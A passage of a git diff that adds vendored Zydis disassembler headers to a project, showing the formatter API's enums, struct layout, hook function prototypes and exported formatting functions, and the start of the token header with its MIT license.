The string is deep-copied into an internal buffer. + */ + ZYDIS_FORMATTER_PROP_HEX_SUFFIX, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Maximum value of this enum. + */ + ZYDIS_FORMATTER_PROP_MAX_VALUE = ZYDIS_FORMATTER_PROP_HEX_SUFFIX, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FORMATTER_PROP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_PROP_MAX_VALUE) +} ZydisFormatterProperty; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisNumericBase` enum. + */ +typedef enum ZydisNumericBase_ +{ + /** + * Decimal system. + */ + ZYDIS_NUMERIC_BASE_DEC, + /** + * Hexadecimal system. + */ + ZYDIS_NUMERIC_BASE_HEX, + + /** + * Maximum value of this enum. + */ + ZYDIS_NUMERIC_BASE_MAX_VALUE = ZYDIS_NUMERIC_BASE_HEX, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_NUMERIC_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_NUMERIC_BASE_MAX_VALUE) +} ZydisNumericBase; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisSignedness` enum. + */ +typedef enum ZydisSignedness_ +{ + /** + * Automatically choose the most suitable mode based on the operands + * ZydisDecodedOperand.imm.is_signed` attribute. + */ + ZYDIS_SIGNEDNESS_AUTO, + /** + * Force signed values. + */ + ZYDIS_SIGNEDNESS_SIGNED, + /** + * Force unsigned values. + */ + ZYDIS_SIGNEDNESS_UNSIGNED, + + /** + * Maximum value of this enum. + */ + ZYDIS_SIGNEDNESS_MAX_VALUE = ZYDIS_SIGNEDNESS_UNSIGNED, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_SIGNEDNESS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SIGNEDNESS_MAX_VALUE) +} ZydisSignedness; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisPadding` enum. + */ +typedef enum ZydisPadding_ +{ + /** + * Disables padding. + */ + ZYDIS_PADDING_DISABLED = 0, + /** + * Padds the value to the current stack-width for addresses, or to the + * operand-width for immediate values (hexadecimal only). + */ + ZYDIS_PADDING_AUTO = (-1), + + /** + * Maximum value of this enum. + */ + ZYDIS_PADDING_MAX_VALUE = ZYDIS_PADDING_AUTO, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_PADDING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_PADDING_MAX_VALUE) +} ZydisPadding; + +/* ---------------------------------------------------------------------------------------------- */ +/* Function types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterFunction` enum. + * + * Do NOT change the order of the values this enum or the function fields inside the + * `ZydisFormatter` struct. + */ +typedef enum ZydisFormatterFunction_ +{ + /* ---------------------------------------------------------------------------------------- */ + /* Instruction */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked before the formatter formats an instruction. + */ + ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION, + /** + * This function is invoked after the formatter formatted an instruction. + */ + ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function refers to the main formatting function. + * + * Replacing this function allows for complete custom formatting, but indirectly disables all + * other hooks except for `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` and + * `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION`. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION, + + /* ---------------------------------------------------------------------------------------- */ + /* Operands */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked before the formatter formats an operand. + */ + ZYDIS_FORMATTER_FUNC_PRE_OPERAND, + /** + * This function is invoked after the formatter formatted an operand. + */ + ZYDIS_FORMATTER_FUNC_POST_OPERAND, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to format a register operand. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG, + /** + * This function is invoked to format a memory operand. + * + * Replacing this function might indirectly disable some specific calls to the + * `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST`, `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT`, + * `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` and `ZYDIS_FORMATTER_FUNC_PRINT_DISP` functions. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM, + /** + * This function is invoked to format a pointer operand. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR, + /** + * This function is invoked to format an immediate operand. + * + * Replacing this function might indirectly disable some specific calls to the + * `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS`, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` and + * `ZYDIS_FORMATTER_FUNC_PRINT_IMM` functions. + */ + ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM, + + /* ---------------------------------------------------------------------------------------- */ + /* Elemental tokens */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to print the instruction mnemonic. + */ + ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to print a register. + */ + ZYDIS_FORMATTER_FUNC_PRINT_REGISTER, + /** + * This function is invoked to print absolute addresses. + * + * Conditionally invoked, if a runtime-address different to `ZYDIS_RUNTIME_ADDRESS_NONE` was + * passed: + * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) + * - `MEM` operands with `EIP`/`RIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`) + * + * Always invoked for: + * - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`) + */ + ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS, + /** + * This function is invoked to print relative addresses. + * + * Conditionally invoked, if `ZYDIS_RUNTIME_ADDRESS_NONE` was passed as runtime-address: + * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) + */ + ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL, + /** + * This function is invoked to print a memory displacement value. + * + * If the memory displacement contains an address and a runtime-address different to + * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` is called + * instead. + */ + ZYDIS_FORMATTER_FUNC_PRINT_DISP, + /** + * This function is invoked to print an immediate value. + * + * If the immediate contains an address and a runtime-address different to + * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` is called + * instead. + * + * If the immediate contains an address and `ZYDIS_RUNTIME_ADDRESS_NONE` was passed as + * runtime-address, `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` is called instead. + */ + ZYDIS_FORMATTER_FUNC_PRINT_IMM, + + /* ---------------------------------------------------------------------------------------- */ + /* Optional tokens */ + /* ---------------------------------------------------------------------------------------- */ + + /** + * This function is invoked to print the size of a memory operand (`INTEL` only). + */ + ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST, + /** + * This function is invoked to print the segment-register of a memory operand. + */ + ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT, + /** + * This function is invoked to print the instruction prefixes. + */ + ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES, + /** + * This function is invoked after formatting an operand to print a `EVEX`/`MVEX` + * decorator. + */ + ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR, + + /* ---------------------------------------------------------------------------------------- */ + + /** + * Maximum value of this enum. + */ + ZYDIS_FORMATTER_FUNC_MAX_VALUE = ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_FORMATTER_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_FUNC_MAX_VALUE) +} ZydisFormatterFunction; + +/* ---------------------------------------------------------------------------------------------- */ +/* Decorator types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecorator` enum. + */ +typedef enum ZydisDecorator_ +{ + ZYDIS_DECORATOR_INVALID, + /** + * The embedded-mask decorator. + */ + ZYDIS_DECORATOR_MASK, + /** + * The broadcast decorator. + */ + ZYDIS_DECORATOR_BC, + /** + * The rounding-control decorator. + */ + ZYDIS_DECORATOR_RC, + /** + * The suppress-all-exceptions decorator. + */ + ZYDIS_DECORATOR_SAE, + /** + * The register-swizzle decorator. + */ + ZYDIS_DECORATOR_SWIZZLE, + /** + * The conversion decorator. + */ + ZYDIS_DECORATOR_CONVERSION, + /** + * The eviction-hint decorator. + */ + ZYDIS_DECORATOR_EH, + + /** + * Maximum value of this enum. + */ + ZYDIS_DECORATOR_MAX_VALUE = ZYDIS_DECORATOR_EH, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_DECORATOR_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECORATOR_MAX_VALUE) +} ZydisDecorator; + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter context */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef struct ZydisFormatter_ ZydisFormatter; + +/** + * Defines the `ZydisFormatterContext` struct. + */ +typedef struct ZydisFormatterContext_ +{ + /** + * A pointer to the `ZydisDecodedInstruction` struct. + */ + const ZydisDecodedInstruction* instruction; + /** + * A pointer to the `ZydisDecodedOperand` struct. + */ + const ZydisDecodedOperand* operand; + /** + * The runtime address of the instruction. + */ + ZyanU64 runtime_address; + /** + * A pointer to user-defined data. + */ + void* user_data; +} ZydisFormatterContext; + +/* ---------------------------------------------------------------------------------------------- */ +/* Function prototypes */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatterFunc` function prototype. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param context A pointer to the `ZydisFormatterContext` struct. + * + * @return A zyan status code. + * + * Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the formatting + * process to fail (see exceptions below). + * + * Returning `ZYDIS_STATUS_SKIP_TOKEN` is valid for functions of the following types and will + * instruct the formatter to omit the whole operand: + * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` + * + * This function prototype is used by functions of the following types: + * - `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` + * - `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION` + * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION` + * - `ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC` + * - `ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` + * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` + * - `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` + * - `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` + * - `ZYDIS_FORMATTER_FUNC_PRINT_DISP` + * - `ZYDIS_FORMATTER_FUNC_PRINT_IMM` + * - `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST` + * - `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT` + */ +typedef ZyanStatus (*ZydisFormatterFunc)(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + + /** + * Defines the `ZydisFormatterRegisterFunc` function prototype. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param context A pointer to the `ZydisFormatterContext` struct. + * @param reg The register. + * + * @return Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the + * formatting process to fail. + * + * This function prototype is used by functions of the following types: + * - `ZYDIS_FORMATTER_FUNC_PRINT_REGISTER`. + */ +typedef ZyanStatus (*ZydisFormatterRegisterFunc)(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); + +/** + * Defines the `ZydisFormatterDecoratorFunc` function prototype. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param context A pointer to the `ZydisFormatterContext` struct. + * @param decorator The decorator type. + * + * @return Returning a status code other than `ZYAN_STATUS_SUCCESS` will immediately cause the + * formatting process to fail. + * + * This function type is used for: + * - `ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR` + */ +typedef ZyanStatus (*ZydisFormatterDecoratorFunc)(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator); + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatter struct */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisFormatter` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + * + * Do NOT change the order of the function fields or the values of the `ZydisFormatterFunction` + * enum. + */ +struct ZydisFormatter_ +{ + /** + * The formatter style. + */ + ZydisFormatterStyle style; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_SIZE` property. + */ + ZyanBool force_memory_size; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_SEGMENT` property. + */ + ZyanBool force_memory_segment; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_BRANCHES` property. + */ + ZyanBool force_relative_branches; + /** + * The `ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_RIPREL` property. + */ + ZyanBool force_relative_riprel; + /** + * The `ZYDIS_FORMATTER_PROP_PRINT_BRANCH_SIZE` property. + */ + ZyanBool print_branch_size; + /** + * The `ZYDIS_FORMATTER_DETAILED_PREFIXES` property. + */ + ZyanBool detailed_prefixes; + /** + * The `ZYDIS_FORMATTER_ADDR_BASE` property. + */ + ZydisNumericBase addr_base; + /** + * The `ZYDIS_FORMATTER_ADDR_SIGNEDNESS` property. + */ + ZydisSignedness addr_signedness; + /** + * The `ZYDIS_FORMATTER_ADDR_PADDING_ABSOLUTE` property. + */ + ZydisPadding addr_padding_absolute; + /** + * The `ZYDIS_FORMATTER_ADDR_PADDING_RELATIVE` property. + */ + ZydisPadding addr_padding_relative; + /** + * The `ZYDIS_FORMATTER_DISP_BASE` property. + */ + ZydisNumericBase disp_base; + /** + * The `ZYDIS_FORMATTER_DISP_SIGNEDNESS` property. + */ + ZydisSignedness disp_signedness; + /** + * The `ZYDIS_FORMATTER_DISP_PADDING` property. + */ + ZydisPadding disp_padding; + /** + * The `ZYDIS_FORMATTER_IMM_BASE` property. + */ + ZydisNumericBase imm_base; + /** + * The `ZYDIS_FORMATTER_IMM_SIGNEDNESS` property. + */ + ZydisSignedness imm_signedness; + /** + * The `ZYDIS_FORMATTER_IMM_PADDING` property. + */ + ZydisPadding imm_padding; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_PREFIXES` property. + */ + ZyanI32 case_prefixes; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_MNEMONIC` property. + */ + ZyanI32 case_mnemonic; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_REGISTERS` property. + */ + ZyanI32 case_registers; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_TYPECASTS` property. + */ + ZyanI32 case_typecasts; + /** + * The `ZYDIS_FORMATTER_UPPERCASE_DECORATORS` property. + */ + ZyanI32 case_decorators; + /** + * The `ZYDIS_FORMATTER_HEX_UPPERCASE` property. + */ + ZyanBool hex_uppercase; + /** + * The number formats for all numeric bases. + * + * Index 0 = prefix + * Index 1 = suffix + */ + struct + { + /** + * A pointer to the `ZyanStringView` to use as prefix/suffix. + */ + const ZyanStringView* string; + /** + * The `ZyanStringView` to use as prefix/suffix + */ + ZyanStringView string_data; + /** + * The actual string data. + */ + char buffer[11]; + } number_format[ZYDIS_NUMERIC_BASE_MAX_VALUE + 1][2]; + /** + * The `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` function. + */ + ZydisFormatterFunc func_pre_instruction; + /** + * The `ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION` function. + */ + ZydisFormatterFunc func_post_instruction; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_INSTRUCTION` function. + */ + ZydisFormatterFunc func_format_instruction; + /** + * The `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` function. + */ + ZydisFormatterFunc func_pre_operand; + /** + * The `ZYDIS_FORMATTER_FUNC_POST_OPERAND` function. + */ + ZydisFormatterFunc func_post_operand; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` function. + */ + ZydisFormatterFunc func_format_operand_reg; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` function. + */ + ZydisFormatterFunc func_format_operand_mem; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` function. + */ + ZydisFormatterFunc func_format_operand_ptr; + /** + * The `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` function. + */ + ZydisFormatterFunc func_format_operand_imm; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_MNEMONIC function. + */ + ZydisFormatterFunc func_print_mnemonic; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_REGISTER` function. + */ + ZydisFormatterRegisterFunc func_print_register; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_ABS` function. + */ + ZydisFormatterFunc func_print_address_abs; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_ADDRESS_REL` function. + */ + ZydisFormatterFunc func_print_address_rel; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_DISP` function. + */ + ZydisFormatterFunc func_print_disp; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_IMM` function. + */ + ZydisFormatterFunc func_print_imm; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_TYPECAST` function. + */ + ZydisFormatterFunc func_print_typecast; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_SEGMENT` function. + */ + ZydisFormatterFunc func_print_segment; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_PREFIXES` function. + */ + ZydisFormatterFunc func_print_prefixes; + /** + * The `ZYDIS_FORMATTER_FUNC_PRINT_DECORATOR` function. + */ + ZydisFormatterDecoratorFunc func_print_decorator; +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup formatter Formatter + * Functions allowing formatting of previously decoded instructions to human readable text. + * @{ + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Initialization */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Initializes the given `ZydisFormatter` instance. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param style The base formatter style (either `AT&T` or `Intel` style). + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterInit(ZydisFormatter* formatter, ZydisFormatterStyle style); + +/* ---------------------------------------------------------------------------------------------- */ +/* Setter */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Changes the value of the specified formatter `property`. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param property The id of the formatter-property. + * @param value The new value. + * + * @return A zyan status code. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION` if a property can't be changed for the + * current formatter-style. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterSetProperty(ZydisFormatter* formatter, + ZydisFormatterProperty property, ZyanUPointer value); + +/** + * Replaces a formatter function with a custom callback and/or retrieves the currently + * used function. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param type The formatter function-type. + * @param callback A pointer to a variable that contains the pointer of the callback function + * and receives the pointer of the currently used function. + * + * @return A zyan status code. + * + * Call this function with `callback` pointing to a `ZYAN_NULL` value to retrieve the currently + * used function without replacing it. + * + * This function returns `ZYAN_STATUS_INVALID_OPERATION` if a function can't be replaced for the + * current formatter-style. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterSetHook(ZydisFormatter* formatter, + ZydisFormatterFunction type, const void** callback); + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatting */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatInstruction(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, char* buffer, ZyanUSize length, + ZyanU64 runtime_address); + +/** + * Formats the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatInstructionEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, char* buffer, ZyanUSize length, + ZyanU64 runtime_address, void* user_data); + +/** + * Formats the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * + * @return A zyan status code. + * + * Use `ZydisFormatterFormatInstruction` or `ZydisFormatterFormatInstructionEx` to format a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatOperand(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, char* buffer, ZyanUSize length, + ZyanU64 runtime_address); + +/** + * Formats the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in characters). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + * + * Use `ZydisFormatterFormatInstruction` or `ZydisFormatterFormatInstructionEx` to format a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterFormatOperandEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, char* buffer, ZyanUSize length, + ZyanU64 runtime_address, void* user_data); + +/* ---------------------------------------------------------------------------------------------- */ +/* Tokenizing */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Tokenizes the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeInstruction(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token); + +/** + * Tokenizes the given instruction and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeInstructionEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token, void* user_data); + +/** + * Tokenizes the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * + * @return A zyan status code. + * + * Use `ZydisFormatterTokenizeInstruction` or `ZydisFormatterTokenizeInstructionEx` to tokenize a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeOperand(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token); + +/** + * Tokenizes the given operand and writes it into the output buffer. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param instruction A pointer to the `ZydisDecodedInstruction` struct. + * @param index The index of the operand to format. + * @param buffer A pointer to the output buffer. + * @param length The length of the output buffer (in bytes). + * @param runtime_address The runtime address of the instruction or `ZYDIS_RUNTIME_ADDRESS_NONE` + * to print relative addresses. + * @param token Receives a pointer to the first token in the output buffer. + * @param user_data A pointer to user-defined data which can be used in custom formatter + * callbacks. + * + * @return A zyan status code. + * + * Use `ZydisFormatterTokenizeInstruction` or `ZydisFormatterTokenizeInstructionEx` to tokenize a + * complete instruction. + */ +ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenizeOperandEx(const ZydisFormatter* formatter, + const ZydisDecodedInstruction* instruction, ZyanU8 index, void* buffer, ZyanUSize length, + ZyanU64 runtime_address, ZydisFormatterTokenConst** token, void* user_data); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_FORMATTER_H */ diff --git a/Theodosius/Zydis/FormatterBuffer.h b/Theodosius/Zydis/FormatterBuffer.h new file mode 100644 index 0000000..2ae2efe --- /dev/null +++ b/Theodosius/Zydis/FormatterBuffer.h @@ -0,0 +1,306 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the `ZydisFormatterToken` type and provides functions to use it. + */ + +#ifndef ZYDIS_FORMATTER_TOKEN_H +#define ZYDIS_FORMATTER_TOKEN_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Token types */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @biref Defines the `ZydisTokenType` data-type. + */ +typedef ZyanU8 ZydisTokenType; + +#define ZYDIS_TOKEN_INVALID 0x00 +/** + * A whitespace character. + */ +#define ZYDIS_TOKEN_WHITESPACE 0x01 +/** + * A delimiter character (like `','`, `':'`, `'+'`, `'-'`, `'*'`). + */ +#define ZYDIS_TOKEN_DELIMITER 0x02 +/** + * An opening parenthesis character (like `'('`, `'['`, `'{'`). + */ +#define ZYDIS_TOKEN_PARENTHESIS_OPEN 0x03 +/** + * A closing parenthesis character (like `')'`, `']'`, `'}'`). + */ +#define ZYDIS_TOKEN_PARENTHESIS_CLOSE 0x04 +/** + * A prefix literal (like `"LOCK"`, `"REP"`). + */ +#define ZYDIS_TOKEN_PREFIX 0x05 +/** + 